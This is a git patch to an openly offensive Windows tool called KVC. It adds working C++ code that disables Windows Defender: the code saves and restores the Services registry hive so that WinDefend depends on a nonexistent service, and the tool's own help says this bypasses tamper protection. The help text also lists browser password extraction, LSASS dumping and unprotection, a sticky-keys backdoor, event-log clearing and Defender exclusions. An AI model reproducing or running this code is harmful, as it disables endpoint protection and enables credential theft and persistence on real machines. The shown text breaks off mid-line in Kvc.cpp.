From b8ec1cfa14966087051f550f8137863c1bc22dda Mon Sep 17 00:00:00 2001 From: wesmar Date: Sun, 21 Sep 2025 23:42:35 +0200 Subject: [PATCH] Aktualizacja: 2025-09-21 23:42:35 --- kvc/DefenderManager.cpp | 351 ++++++++++++++++++++++++++++++++++ kvc/DefenderManager.h | 61 ++++++ kvc/HelpSystem.cpp | 98 ++++++---- kvc/HelpSystem.h | 1 + kvc/Kvc.cpp | 403 ++++++++++++++++++++++++++-------------- kvc/Kvc.vcxproj | 1 + kvc/common.h | 9 + 7 files changed, 750 insertions(+), 174 deletions(-) create mode 100644 kvc/DefenderManager.cpp create mode 100644 kvc/DefenderManager.h diff --git a/kvc/DefenderManager.cpp b/kvc/DefenderManager.cpp new file mode 100644 index 0000000..df8b8c5 --- /dev/null +++ b/kvc/DefenderManager.cpp @@ -0,0 +1,351 @@ +/******************************************************************************* + _ ____ ______ + | |/ /\ \ / / ___| + | ' / \ \ / / | + | . \ \ V /| |___ + |_|\_\ \_/ \____| + +The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research, +offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived +as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation +of kernel-level primitives** for legitimate security research and penetration testing. + +KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows +security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware +Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures +that define these protections. + + ----------------------------------------------------------------------------- + Author : Marek Wesołowski + Email : marek@wesolowski.eu.org + Phone : +48 607 440 283 (Tel/WhatsApp) + Date : 04-09-2025 + +*******************************************************************************/ + +#include "DefenderManager.h" +#include +#include +#include + +using namespace std; +namespace fs = std::filesystem; + +extern void SetColor(int color); + +// Console color helper (using your existing SetColor function) +extern void SetColor(int color); + +// Primary interface methods +bool DefenderManager::DisableSecurityEngine() noexcept { + std::wcout << L"Disabling Windows Security Engine...\n"; + return ModifySecurityEngine(false); +} + +bool DefenderManager::EnableSecurityEngine() noexcept { + std::wcout << L"Enabling Windows Security Engine...\n"; + return ModifySecurityEngine(true); +} + +DefenderManager::SecurityState DefenderManager::GetSecurityEngineStatus() noexcept { + try { + HKEY key; + if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, WINDEFEND_KEY, 0, KEY_READ, &key) != ERROR_SUCCESS) { + return SecurityState::UNKNOWN; + } + + auto values = ReadMultiString(key, DEPEND_VALUE); + RegCloseKey(key); + + if (values.empty()) return SecurityState::UNKNOWN; + + // Check if RpcSs (active) or RpcSt (inactive) is present + bool hasActive = find(values.begin(), values.end(), RPC_SERVICE_ACTIVE) != values.end(); + bool hasInactive = find(values.begin(), values.end(), RPC_SERVICE_INACTIVE) != values.end(); + + if (hasActive) return SecurityState::ENABLED; + if (hasInactive) return SecurityState::DISABLED; + + return SecurityState::UNKNOWN; + } + catch (...) { + return SecurityState::UNKNOWN; + } +} + +// Core engine manipulation - critical path +bool DefenderManager::ModifySecurityEngine(bool enable) noexcept { + try { + // Enable required privileges first + if (!EnableRequiredPrivileges()) { + std::wcout << L"Failed to enable required privileges - run as administrator\n"; + return false; + } + + // Create registry working context + RegistryContext ctx; + if (!CreateRegistrySnapshot(ctx)) { + std::wcout << L"Failed to create registry snapshot\n"; + return false; + } + + // Modify defender dependencies + if (!ModifyDefenderDependencies(ctx, enable)) { + std::wcout << L"Failed to modify Defender dependencies\n"; + return false; + } + + // Restore modified registry + if (!RestoreRegistrySnapshot(ctx)) { + std::wcout << L"Failed to restore registry snapshot\n"; + return false; + } + + std::wcout << L"Security engine " << (enable ? L"enabled" : L"disabled") << L" successfully\n"; + std::wcout << L"System restart required to apply changes\n"; + return true; + } + catch (...) { + std::wcout << L"Exception in ModifySecurityEngine\n"; + return false; + } +} + +// Registry snapshot creation +bool DefenderManager::CreateRegistrySnapshot(RegistryContext& ctx) noexcept { + ctx.tempPath = GetSystemTempPath(); + if (ctx.tempPath.empty()) { + std::wcout << L"Failed to get system temp path\n"; + return false; + } + + // Ensure temp directory exists and is writable + if (!ValidateWriteAccess(ctx.tempPath)) { + std::wcout << L"Cannot write to temp directory: " << ctx.tempPath << L"\n"; + return false; + } + + ctx.hiveFile = ctx.tempPath + L"Services.hiv"; + + // Clean up any existing hive file + if (fs::exists(ctx.hiveFile) && !DeleteFileW(ctx.hiveFile.c_str())) { + std::wcout << L"Failed to delete existing hive file\n"; + return false; + } + + // Unload any existing temp registry hive + HKEY tempCheck; + if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, L"Temp", 0, KEY_READ, &tempCheck) == ERROR_SUCCESS) { + RegCloseKey(tempCheck); + RegUnLoadKeyW(HKEY_LOCAL_MACHINE, L"Temp"); + } + + // Save current services registry hive + HKEY servicesKey; + if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, SERVICES_KEY, 0, KEY_READ, &servicesKey) != ERROR_SUCCESS) { + std::wcout << L"Failed to open Services registry key\n"; + return false; + } + + LONG result = RegSaveKeyExW(servicesKey, ctx.hiveFile.c_str(), nullptr, REG_LATEST_FORMAT); + RegCloseKey(servicesKey); + + if (result != ERROR_SUCCESS) { + std::wcout << L"Failed to save registry hive: " << result << L"\n"; + return false; + } + + // Load saved hive as temporary key + if (RegLoadKeyW(HKEY_LOCAL_MACHINE, L"Temp", ctx.hiveFile.c_str()) != ERROR_SUCCESS) { + std::wcout << L"Failed to load registry hive as temp key\n"; + return false; + } + + return true; +} + +// Modify Defender service dependencies - core logic +bool DefenderManager::ModifyDefenderDependencies(const RegistryContext& ctx, bool enable) noexcept { + HKEY tempKey; + if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, L"Temp\\WinDefend", 0, KEY_READ | KEY_WRITE, &tempKey) != ERROR_SUCCESS) { + std::wcout << L"Failed to open temporary WinDefend key\n"; + return false; + } + + auto values = ReadMultiString(tempKey, DEPEND_VALUE); + if (values.empty()) { + std::wcout << L"No DependOnService values found\n"; + RegCloseKey(tempKey); + return false; + } + + // Transform RPC service dependency + for (auto& value : values) { + if (enable && value == RPC_SERVICE_INACTIVE) { + value = RPC_SERVICE_ACTIVE; // RpcSt -> RpcSs (enable) + } + else if (!enable && value == RPC_SERVICE_ACTIVE) { + value = RPC_SERVICE_INACTIVE; // RpcSs -> RpcSt (disable) + } + } + + bool success = WriteMultiString(tempKey, DEPEND_VALUE, values); + RegCloseKey(tempKey); + + if (!success) { + std::wcout << L"Failed to write modified dependency values\n"; + return false; + } + + return true; +} + +// Restore registry snapshot +bool DefenderManager::RestoreRegistrySnapshot(const RegistryContext& ctx) noexcept { + // Unload temporary registry hive + if (RegUnLoadKeyW(HKEY_LOCAL_MACHINE, L"Temp") != ERROR_SUCCESS) { + std::wcout << L"Warning: Failed to unload temporary registry hive\n"; + } + + // Restore modified hive to live registry + HKEY servicesKey; + if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, SERVICES_KEY, 0, KEY_WRITE, &servicesKey) != ERROR_SUCCESS) { + std::wcout << L"Failed to open Services key for restore\n"; + return false; + } + + LONG result = RegRestoreKeyW(servicesKey, ctx.hiveFile.c_str(), REG_FORCE_RESTORE); + RegCloseKey(servicesKey); + + if (result != ERROR_SUCCESS) { + std::wcout << L"Failed to restore modified registry hive: " << result << L"\n"; + return false; + } + + return true; +} + +// Helper methods +bool DefenderManager::EnableRequiredPrivileges() noexcept { + return EnablePrivilege(SE_BACKUP_NAME) && + EnablePrivilege(SE_RESTORE_NAME) && + EnablePrivilege(SE_LOAD_DRIVER_NAME); +} + +bool DefenderManager::EnablePrivilege(const wchar_t* privilege) noexcept { + HANDLE token; + if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &token)) { + return false; + } + + TOKEN_PRIVILEGES tp; + LUID luid; + + bool success = LookupPrivilegeValueW(nullptr, privilege, &luid); + if (success) { + tp.PrivilegeCount = 1; + tp.Privileges[0].Luid = luid; + tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; + + success = AdjustTokenPrivileges(token, FALSE, &tp, sizeof(tp), nullptr, nullptr) && + GetLastError() != ERROR_NOT_ALL_ASSIGNED; + } + + CloseHandle(token); + return success; +} + +wstring DefenderManager::GetSystemTempPath() noexcept { + wchar_t path[MAX_PATH]; + UINT result = GetWindowsDirectoryW(path, MAX_PATH); + if (result == 0 || result > MAX_PATH) return L""; + + return wstring(path) + L"\\temp\\"; +} + +bool DefenderManager::ValidateWriteAccess(const wstring& path) noexcept { + try { + fs::create_directories(path); + + wstring testFile = path + L"test.tmp"; + HANDLE hTest = CreateFileW(testFile.c_str(), GENERIC_WRITE, 0, nullptr, + CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, nullptr); + + if (hTest == INVALID_HANDLE_VALUE) return false; + + CloseHandle(hTest); + DeleteFileW(testFile.c_str()); + return true; + } + catch (...) { + return false; + } +} + +vector DefenderManager::ReadMultiString(HKEY key, const wstring& valueName) noexcept { + DWORD type, size; + if (RegQueryValueExW(key, valueName.c_str(), nullptr, &type, nullptr, &size) != ERROR_SUCCESS || + type != REG_MULTI_SZ) { + return {}; + } + + vector buffer(size / sizeof(wchar_t)); + if (RegQueryValueExW(key, valueName.c_str(), nullptr, &type, + reinterpret_cast(buffer.data()), &size) != ERROR_SUCCESS) { + return {}; + } + + vector result; + const wchar_t* current = buffer.data(); + + while (*current != L'\0') { + result.emplace_back(current); + current += result.back().size() + 1; + } + + return result; +} + +bool DefenderManager::WriteMultiString(HKEY key, const wstring& valueName, + const vector& values) noexcept { + vector buffer; + + for (const auto& str : values) { + buffer.insert(buffer.end(), str.begin(), str.end()); + buffer.push_back(L'\0'); + } + buffer.push_back(L'\0'); // Double null terminator + + return RegSetValueExW(key, valueName.c_str(), 0, REG_MULTI_SZ, + reinterpret_cast(buffer.data()), + static_cast(buffer.size() * sizeof(wchar_t))) == ERROR_SUCCESS; +} + +// Cleanup implementation +void DefenderManager::RegistryContext::Cleanup() noexcept { + if (hiveFile.empty()) return; + + // Standard cleanup patterns + vector patterns = { + hiveFile, + hiveFile + L".LOG1", + hiveFile + L".LOG2", + hiveFile + L".blf" + }; + + for (const auto& file : patterns) { + DeleteFileW(file.c_str()); + } + + // Clean transaction files + try { + for (const auto& entry : fs::directory_iterator(tempPath)) { + if (entry.path().extension() == L".regtrans-ms") { + DeleteFileW(entry.path().c_str()); + } + } + } + catch (...) { + // Ignore cleanup errors + } +} \ No newline at end of file diff --git a/kvc/DefenderManager.h b/kvc/DefenderManager.h new file mode 100644 index 0000000..b0e818d --- /dev/null +++ b/kvc/DefenderManager.h @@ -0,0 +1,61 @@ +#pragma once +#include +#include +#include +#include + +class DefenderManager { +public: + enum class SecurityState { + ENABLED, + DISABLED, + UNKNOWN + }; + + // Primary interface - matches KVC command pattern + static bool DisableSecurityEngine() noexcept; + static bool EnableSecurityEngine() noexcept; + static SecurityState GetSecurityEngineStatus() noexcept; + +private: + struct RegistryContext { + std::wstring tempPath; + std::wstring hiveFile; + + RegistryContext() = default; + ~RegistryContext() { Cleanup(); } + + // Non-copyable, movable + RegistryContext(const RegistryContext&) = delete; + RegistryContext& operator=(const RegistryContext&) = delete; + RegistryContext(RegistryContext&&) = default; + RegistryContext& operator=(RegistryContext&&) = default; + + void Cleanup() noexcept; + }; + + // Core engine manipulation + static bool ModifySecurityEngine(bool enable) noexcept; + + // Registry operations - critical path functions + static bool EnableRequiredPrivileges() noexcept; + static bool CreateRegistrySnapshot(RegistryContext& ctx) noexcept; + static bool ModifyDefenderDependencies(const RegistryContext& ctx, bool enable) noexcept; + static bool RestoreRegistrySnapshot(const RegistryContext& ctx) noexcept; + + // Helper utilities + static std::vector ReadMultiString(HKEY key, const std::wstring& valueName) noexcept; + static bool WriteMultiString(HKEY key, const std::wstring& valueName, const std::vector& values) noexcept; + static std::wstring GetSystemTempPath() noexcept; + static bool ValidateWriteAccess(const std::wstring& path) noexcept; + + // Privilege management + static bool EnablePrivilege(const wchar_t* privilege) noexcept; + + // Constants + static constexpr const wchar_t* WINDEFEND_KEY = L"SYSTEM\\CurrentControlSet\\Services\\WinDefend"; + static constexpr const wchar_t* SERVICES_KEY = L"SYSTEM\\CurrentControlSet\\Services"; + static constexpr const wchar_t* DEPEND_VALUE = L"DependOnService"; + static constexpr const wchar_t* RPC_SERVICE_ACTIVE = L"RpcSs"; + static constexpr const wchar_t* RPC_SERVICE_INACTIVE = L"RpcSt"; +}; \ No newline at end of file diff --git a/kvc/HelpSystem.cpp b/kvc/HelpSystem.cpp index 46e8d1d..ef56b68 100644 --- a/kvc/HelpSystem.cpp +++ b/kvc/HelpSystem.cpp @@ -38,8 +38,9 @@ void HelpSystem::PrintUsage(std::wstring_view programName) noexcept PrintBasicCommands(); PrintProtectionCommands(); PrintSystemCommands(); - PrintBrowserCommands(); + PrintBrowserCommands(); PrintDefenderCommands(); + PrintSecurityEngineCommands(); PrintDPAPICommands(); PrintProtectionTypes(); PrintExclusionTypes(); @@ -62,12 +63,12 @@ void HelpSystem::PrintHeader() noexcept const int width = 80; - // Blue header border + // Blue header border for visual appeal SetConsoleTextAttribute(hConsole, FOREGROUND_BLUE | FOREGROUND_INTENSITY); std::wcout << L"\n"; std::wcout << L"================================================================================\n"; - // Centered text printing with white color + // Centered text printing with white color for readability auto printCentered = [&](const std::wstring& text) { int textLen = static_cast(text.length()); int padding = (width - textLen) / 2; @@ -93,7 +94,7 @@ void HelpSystem::PrintHeader() noexcept void HelpSystem::PrintServiceCommands() noexcept { PrintSectionHeader(L"Service Management Commands (Advanced Scenarios)"); - PrintCommandLine(L"setup", L"Decrypt and deploy combined binary components from kvc.dat"); + PrintCommandLine(L"setup", L"Decrypt and deploy combined binary components from kvc.dat"); PrintCommandLine(L"install", L"Install as NT service with TrustedInstaller privileges"); PrintCommandLine(L"uninstall", L"Uninstall NT service"); PrintCommandLine(L"service start", L"Start the Kernel Vulnerability Capabilities Framework service"); @@ -135,7 +136,7 @@ void HelpSystem::PrintSystemCommands() noexcept PrintCommandLine(L"unshift", L"Remove sticky keys backdoor"); PrintCommandLine(L"trusted ", L"Run command with elevated system privileges"); PrintCommandLine(L"install-context", L"Add context menu entries for right-click access"); - PrintCommandLine(L"evtclear", L"Clear all primary system event logs (Application, Security, Setup, System)"); + PrintCommandLine(L"evtclear", L"Clear all primary system event logs (Application, Security, Setup, System)"); std::wcout << L"\n"; } @@ -152,6 +153,32 @@ void HelpSystem::PrintDefenderCommands() noexcept std::wcout << L"\n"; } +void HelpSystem::PrintSecurityEngineCommands() noexcept +{ + PrintSectionHeader(L"Security Engine Management"); + PrintCommandLine(L"secengine disable", L"Disable Windows Defender security engine"); + PrintCommandLine(L"secengine enable", L"Enable Windows Defender security engine"); + PrintCommandLine(L"secengine status", L"Check current security engine status"); + PrintCommandLine(L"secengine disable --restart", L"Disable and restart system immediately"); + PrintNote(L"Registry-level manipulation - bypasses tamper protection"); + PrintNote(L"System restart required for changes to take effect"); + std::wcout << L"\n"; +} + +void HelpSystem::PrintBrowserCommands() noexcept +{ + PrintSectionHeader(L"Browser Password Extraction Commands"); + PrintCommandLine(L"browser-passwords", L"Extract Chrome passwords (default)"); + PrintCommandLine(L"bp --chrome", L"Extract Chrome passwords explicitly"); + PrintCommandLine(L"bp --brave", L"Extract Brave browser passwords"); + PrintCommandLine(L"bp --edge", L"Extract Edge browser passwords"); + PrintCommandLine(L"bp --output C:\\reports", L"Custom output directory"); + PrintCommandLine(L"bp --edge -o C:\\data", L"Edge passwords to custom path"); + PrintNote(L"Requires kvc_pass.exe in current directory"); + PrintNote(L"Uses COM elevation for advanced browser encryption"); + std::wcout << L"\n"; +} + void HelpSystem::PrintDPAPICommands() noexcept { PrintSectionHeader(L"DPAPI Secrets Extraction Commands"); @@ -266,22 +293,31 @@ void HelpSystem::PrintUsageExamples(std::wstring_view programName) noexcept << L"# " << description << L"\n"; }; + // Service and system management examples printLine(L"shift", L"Install sticky keys backdoor"); printLine(L"unshift", L"Remove sticky keys backdoor"); printLine(L"install", L"Install as NT service (advanced)"); printLine(L"service start", L"Start the service"); printLine(L"uninstall", L"Remove service"); + + // Memory dumping examples printLine(L"dump lsass C:\\dumps", L"Dump LSASS to specific folder"); printLine(L"dump 1044", L"Dump PID 1044 to Downloads folder"); + + // Process information and protection examples printLine(L"list", L"Show all protected processes"); printLine(L"info lsass", L"Detailed info with dumpability analysis"); printLine(L"protect 1044 PPL Antimalware", L"Protect process with PPL-Antimalware"); printLine(L"set 5678 PP Windows", L"Force set PP-Windows protection"); printLine(L"unprotect lsass", L"Remove protection from LSASS"); printLine(L"unprotect 1,2,3,lsass", L"Batch unprotect multiple targets"); + + // TrustedInstaller examples printLine(L"trusted cmd", L"Run command as TrustedInstaller"); printLine(L"trusted \"C:\\app.exe\" --arg", L"Run application with arguments"); printLine(L"install-context", L"Add right-click menu entries"); + + // Defender exclusion examples printLine(L"add-exclusion", L"Add current program to exclusions"); printLine(L"add-exclusion C:\\malware.exe", L"Add specific file to exclusions"); printLine(L"add-exclusion Paths C:\\temp", L"Add folder to path exclusions"); @@ -289,8 +325,17 @@ void HelpSystem::PrintUsageExamples(std::wstring_view programName) noexcept printLine(L"add-exclusion Extensions .tmp", L"Add extension to exclusions"); printLine(L"add-exclusion IpAddresses 1.1.1.1", L"Add IP to exclusions"); printLine(L"remove-exclusion Processes cmd.exe", L"Remove process exclusion"); + + // Security engine management examples + printLine(L"secengine status", L"Check Windows Defender status"); + printLine(L"secengine disable", L"Disable Windows Defender engine"); + printLine(L"secengine enable", L"Re-enable Windows Defender engine"); + printLine(L"secengine disable --restart", L"Disable Defender and restart system"); + + // Data extraction examples printLine(L"export secrets", L"Export secrets to Downloads folder"); printLine(L"export secrets C:\\reports", L"Export secrets to specific folder"); + std::wcout << L"\n"; } @@ -298,7 +343,7 @@ void HelpSystem::PrintSecurityNotice() noexcept { PrintSectionHeader(L"SECURITY & LEGAL NOTICE"); - // Critical warning section with red highlighting + // Critical warning section with red highlighting for maximum visibility HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE); CONSOLE_SCREEN_BUFFER_INFO csbi; GetConsoleScreenBufferInfo(hConsole, &csbi); @@ -323,7 +368,7 @@ void HelpSystem::PrintSecurityNotice() noexcept std::wcout << L" - Administrator privileges required for all security operations\n"; std::wcout << L" - Most operations leave no permanent traces except when explicitly requested\n"; std::wcout << L" - Some commands (shift, install, add-exclusion) make persistent changes\n"; - std::wcout << L" - These changes are reversible (via unshift, remove-exclusion, etc.)\n\n"; + std::wcout << L" - These changes are reversible (via unshift, remove-exclusion, etc.)\n\n"; SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_INTENSITY); std::wcout << L" LEGAL & ETHICAL RESPONSIBILITY:\n"; @@ -356,11 +401,11 @@ void HelpSystem::PrintFooter() noexcept const int width = 80; - // Top border with blue color + // Top border with blue color for professional appearance SetConsoleTextAttribute(hConsole, FOREGROUND_BLUE | FOREGROUND_INTENSITY); std::wcout << L"+" << std::wstring(width-2, L'-') << L"+\n"; - // Centered footer content - split into multiple lines + // Centered footer content - split into multiple lines for readability std::wstring line1 = L"Support this project - a small donation is greatly appreciated"; std::wstring line2 = L"and helps sustain private research builds."; std::wstring line3 = L"GitHub source code: https://github.com/wesmar/kvc/"; @@ -375,7 +420,7 @@ void HelpSystem::PrintFooter() noexcept SetConsoleTextAttribute(hConsole, FOREGROUND_BLUE | FOREGROUND_INTENSITY); std::wcout << L"|"; - // Text in white + // Text in white for maximum readability SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE | FOREGROUND_INTENSITY); std::wcout << std::wstring(padding, L' ') << text << std::wstring(width - 2 - padding - textLen, L' '); @@ -390,11 +435,11 @@ void HelpSystem::PrintFooter() noexcept printCenteredFooter(line3); printCenteredFooter(line4); - // Donation line with colored links + // Donation line with colored links for easy identification SetConsoleTextAttribute(hConsole, FOREGROUND_BLUE | FOREGROUND_INTENSITY); std::wcout << L"|"; - // Calculate spacing for PayPal and Revolut + // Calculate spacing for PayPal and Revolut links std::wstring paypal = L"PayPal: "; std::wstring paypalLink = L"paypal.me/ext1"; std::wstring middle = L" "; @@ -420,10 +465,10 @@ void HelpSystem::PrintFooter() noexcept SetConsoleTextAttribute(hConsole, FOREGROUND_BLUE | FOREGROUND_INTENSITY); std::wcout << L"|\n"; - // Bottom border + // Bottom border to complete the frame std::wcout << L"+" << std::wstring(width-2, L'-') << L"+\n\n"; - // Restore original color + // Restore original color for subsequent output SetConsoleTextAttribute(hConsole, originalColor); } @@ -435,11 +480,11 @@ void HelpSystem::PrintSectionHeader(const wchar_t* title) noexcept GetConsoleScreenBufferInfo(hConsole, &csbi); WORD originalColor = csbi.wAttributes; - // Yellow color for section headers + // Yellow color for section headers to make them stand out SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_INTENSITY); std::wcout << L"=== " << title << L" ===\n"; - // Restore original color + // Restore original color after header SetConsoleTextAttribute(hConsole, originalColor); } @@ -457,11 +502,11 @@ void HelpSystem::PrintNote(const wchar_t* note) noexcept GetConsoleScreenBufferInfo(hConsole, &csbi); WORD originalColor = csbi.wAttributes; - // Gray color for informational notes + // Gray color for informational notes to differentiate from commands SetConsoleTextAttribute(hConsole, FOREGROUND_INTENSITY); std::wcout << L" " << note << L"\n"; - // Restore original color + // Restore original color after note SetConsoleTextAttribute(hConsole, originalColor); } @@ -472,23 +517,10 @@ void HelpSystem::PrintWarning(const wchar_t* warning) noexcept GetConsoleScreenBufferInfo(hConsole, &csbi); WORD originalColor = csbi.wAttributes; - // Red color for warning messages + // Red color for warning messages to grab attention SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_INTENSITY); std::wcout << L" " << warning << L"\n"; - // Restore original color + // Restore original color after warning SetConsoleTextAttribute(hConsole, originalColor); -} -void HelpSystem::PrintBrowserCommands() noexcept -{ - PrintSectionHeader(L"Browser Password Extraction Commands"); - PrintCommandLine(L"browser-passwords", L"Extract Chrome passwords (default)"); - PrintCommandLine(L"bp --chrome", L"Extract Chrome passwords explicitly"); - PrintCommandLine(L"bp --brave", L"Extract Brave browser passwords"); - PrintCommandLine(L"bp --edge", L"Extract Edge browser passwords"); - PrintCommandLine(L"bp --output C:\\reports", L"Custom output directory"); - PrintCommandLine(L"bp --edge -o C:\\data", L"Edge passwords to custom path"); - PrintNote(L"Requires kvc_pass.exe in current directory"); - PrintNote(L"Uses COM elevation for advanced browser encryption"); - std::wcout << L"\n"; } \ No newline at end of file diff --git a/kvc/HelpSystem.h b/kvc/HelpSystem.h index d2961bb..9456bc7 100644 --- a/kvc/HelpSystem.h +++ b/kvc/HelpSystem.h @@ -27,6 +27,7 @@ public: static void PrintPatternMatching() noexcept; static void PrintTechnicalFeatures() noexcept; static void PrintDefenderNotes() noexcept; + static void PrintSecurityEngineCommands() noexcept; static void PrintStickyKeysInfo() noexcept; static void PrintUndumpableProcesses() noexcept; static void PrintUsageExamples(std::wstring_view programName) noexcept; diff --git a/kvc/Kvc.cpp b/kvc/Kvc.cpp index eca8b1c..8aa5037 100644 --- a/kvc/Kvc.cpp +++ b/kvc/Kvc.cpp @@ -25,6 +25,7 @@ that define these protections. #include "common.h" #include "Controller.h" +#include "DefenderManager.h" #include "ServiceManager.h" #include "HelpSystem.h" #include @@ -32,6 +33,19 @@ that define these protections. #include #include #include +#include + +#pragma comment(lib, "user32.lib") + +// Forward declaration for console color function +void SetColor(int color); + +// Implementation of console color function +void SetColor(int color) +{ + HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE); + SetConsoleTextAttribute(hConsole, color); +} // Forward declarations for utility functions std::optional ParsePid(std::wstring_view pidStr) noexcept; @@ -39,25 +53,26 @@ bool IsNumeric(std::wstring_view str) noexcept; bool IsHelpFlag(std::wstring_view arg) noexcept; std::optional ParseExclusionType(std::wstring_view typeStr) noexcept; void CleanupDriver() noexcept; +bool InitiateSystemRestart() noexcept; -// Global state for signal handling and cleanup +// Global state for signal handling and emergency cleanup volatile bool g_interrupted = false; std::unique_ptr g_controller = nullptr; -// Signal handler for graceful Ctrl+C cleanup preventing system instability +// Signal handler for graceful Ctrl+C cleanup to prevent system instability void SignalHandler(int signal) { if (signal == SIGINT && !g_interrupted) { g_interrupted = true; - std::wcout << L"\n[!] Ctrl+C detected - emergency cleanup..." << std::endl; + std::wcout << L"\n[!] Ctrl+C detected - performing emergency cleanup..." << std::endl; if (g_controller) { try { g_controller->StopDriverService(); - std::wcout << L"[+] Emergency cleanup completed" << std::endl; + std::wcout << L"[+] Emergency cleanup completed successfully" << std::endl; } catch (...) { @@ -69,7 +84,7 @@ void SignalHandler(int signal) } } -// Parse exclusion type from string for enhanced Defender management +// Parse exclusion type string for enhanced Windows Defender management std::optional ParseExclusionType(std::wstring_view typeStr) noexcept { static const std::unordered_map typeMap = { @@ -86,12 +101,48 @@ std::optional ParseExclusionType(std: return (it != typeMap.end()) ? std::make_optional(it->second) : std::nullopt; } +// System restart with proper privilege escalation for security engine changes +bool InitiateSystemRestart() noexcept +{ + HANDLE token; + TOKEN_PRIVILEGES tp; + LUID luid; + + if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &token)) { + ERROR(L"Failed to open process token for restart"); + return false; + } + + if (!LookupPrivilegeValueW(nullptr, SE_SHUTDOWN_NAME, &luid)) { + ERROR(L"Failed to lookup shutdown privilege"); + CloseHandle(token); + return false; + } + + tp.PrivilegeCount = 1; + tp.Privileges[0].Luid = luid; + tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; + + bool success = AdjustTokenPrivileges(token, FALSE, &tp, 0, nullptr, nullptr); + CloseHandle(token); + + if (!success) { + ERROR(L"Failed to enable shutdown privilege"); + return false; + } + + // Initiate system restart with appropriate reason code for software changes + return ExitWindowsEx(EWX_REBOOT | EWX_FORCE, + SHTDN_REASON_MAJOR_SOFTWARE | SHTDN_REASON_MINOR_RECONFIGURE) != 0; +} + // Main application entry point with comprehensive command handling int wmain(int argc, wchar_t* argv[]) { + // Install signal handler for emergency cleanup on Ctrl+C signal(SIGINT, SignalHandler); - // Service mode detection - MUST BE FIRST to handle NT service startup + // Service mode detection - MUST BE FIRST to handle NT service startup properly if (argc >= 2) { std::wstring_view firstArg = argv[1]; if (firstArg == L"--service") { @@ -99,7 +150,7 @@ int wmain(int argc, wchar_t* argv[]) } } - // Display help if no arguments or help flag provided + // Display comprehensive help if no arguments provided if (argc < 2) { HelpSystem::PrintUsage(argv[0]); @@ -107,13 +158,15 @@ int wmain(int argc, wchar_t* argv[]) } std::wstring_view firstArg = argv[1]; + + // Handle various help flag formats if (IsHelpFlag(firstArg)) { HelpSystem::PrintUsage(argv[0]); return 0; } - // Initialize controller for kernel operations + // Initialize controller for kernel operations and driver management g_controller = std::make_unique(); std::wstring_view command = firstArg; @@ -171,47 +224,116 @@ int wmain(int argc, wchar_t* argv[]) return 1; } } - else if (serviceCmd == L"status") { - // Enhanced service status checking with detailed output - INFO(L"Checking Kernel Vulnerability Capabilities Framework service status..."); - - const bool installed = IsServiceInstalled(); - const bool running = installed ? IsServiceRunning() : false; - - std::wcout << L"\n"; - INFO(L"Service Information:"); - INFO(L" Name: %s", ServiceManager::SERVICE_NAME); - INFO(L" Display Name: %s", ServiceManager::SERVICE_DISPLAY_NAME); - std::wcout << L"\n"; - - // Status display with appropriate color coding - if (installed) { - SUCCESS(L"Installation Status: INSTALLED"); - if (running) { - SUCCESS(L"Runtime Status: RUNNING"); - SUCCESS(L"Service is operational and ready for kernel operations"); - INFO(L"The service can be controlled via SCM or kvc commands"); - } else { - ERROR(L"Runtime Status: STOPPED"); - ERROR(L"Service is installed but not currently running"); - INFO(L"Use 'kvc service start' to start the service"); - } - } else { - ERROR(L"Installation Status: NOT INSTALLED"); - ERROR(L"Service is not installed on this system"); - INFO(L"Use 'kvc install' to install the service first"); - } - - std::wcout << L"\n"; - return 0; - } + else if (serviceCmd == L"status") { + // Enhanced service status checking with detailed diagnostic output + INFO(L"Checking Kernel Vulnerability Capabilities Framework service status..."); + + const bool installed = IsServiceInstalled(); + const bool running = installed ? IsServiceRunning() : false; + + std::wcout << L"\n"; + INFO(L"Service Information:"); + INFO(L" Name: %s", ServiceManager::SERVICE_NAME); + INFO(L" Display Name: %s", ServiceManager::SERVICE_DISPLAY_NAME); + std::wcout << L"\n"; + + // Status display with appropriate color coding for visual clarity + if (installed) { + SUCCESS(L"Installation Status: INSTALLED"); + if (running) { + SUCCESS(L"Runtime Status: RUNNING"); + SUCCESS(L"Service is operational and ready for kernel operations"); + INFO(L"The service can be controlled via SCM or kvc commands"); + } else { + ERROR(L"Runtime Status: STOPPED"); + ERROR(L"Service is installed but not currently running"); + INFO(L"Use 'kvc service start' to start the service"); + } + } else { + ERROR(L"Installation Status: NOT INSTALLED"); + ERROR(L"Service is not installed on this system"); + INFO(L"Use 'kvc install' to install the service first"); + } + + std::wcout << L"\n"; + return 0; + } else { ERROR(L"Unknown service command: %s", serviceCmd.data()); return 1; } } - // Sticky keys backdoor management using IFEO technique + // Security Engine Management Commands for bypassing Windows Defender protection + else if (command == L"secengine") + { + if (argc < 3) { + ERROR(L"Missing subcommand for secengine. Usage: kvc secengine "); + return 1; + } + + std::wstring_view subcommand = argv[2]; + + if (subcommand == L"disable") { + if (DefenderManager::DisableSecurityEngine()) { + SUCCESS(L"Security engine disabled successfully - restart required"); + + // Optional immediate restart for automated scenarios + if (argc > 3 && std::wstring_view(argv[3]) == 